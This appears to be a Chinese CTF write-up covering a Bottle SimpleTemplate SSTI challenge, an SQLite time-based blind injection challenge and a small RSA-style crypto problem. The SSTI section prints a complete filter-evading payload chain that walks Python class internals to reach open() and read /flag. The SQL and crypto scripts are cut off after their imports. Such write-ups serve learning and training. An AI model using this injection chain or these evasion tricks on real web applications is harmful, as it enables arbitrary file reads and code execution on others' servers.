Web
学生姓名登记系统(ssti继承)
题目提示说用了某个单文件框架,我们通过查找发现python本体的单文件框架是bottle
绕过长度限制,题目主页面也有提示“一行一个名字”,输入{{7*7}}%0a{{8*8}}
会发现回显了 49 和 64
同时,bottle 是使用的 SimpleTemplate 模板引擎,查阅文档了解到,这个模版里面可以使用任何 python 表达式,也就是运行执行任意单行 python 代码。
我们可以尝试使用{{print(5)}}
发现没有回显,但其实是在控制台输出了 5,这个语句成功执行了
接下来我们需要判断每一行之间的语句是否有关联
我们尝试
1 | {{a:=5}}%0a{{a*a}} |
成功打印5和25
既然是上下文的关系,我们打个可以继承的ssti链(过滤了一些关键字)
1 | name={{a:=''}}%0a{{b:=a.__class__}}%0a{{c:=b.__base__}}%0a{{d:=c.__subclasses__}}%0a{{e:=d()[156]}}%0a{{f:=e.__init__}}%0a{{g:=f.__globals__}}%0a{{z:='__builtins__'}}%0a{{h:=g[z]}}%0a{{i:=h['op''en']}}%0a{{x:=i("/flag")}}%0a{{y:=x.read()}} |
得到flag
奶龙回家
sqlite时间盲注,我们需要fuzz一下
过滤了
1 | union = sleep bench |
参考文章
https://www.freebuf.com/articles/network/324785.html
我们用/**/代替空格,使用 randomblob 来进行延时
1 | import requests |
Crypto
easymath
解法一:
由于e较小,用中国剩余定理可以解
1 | from sympy import symbols, Eq, solve |
解法二:
已知e=2,我们用rabin 算法解
1 | from sympy import symbols, Eq, solve |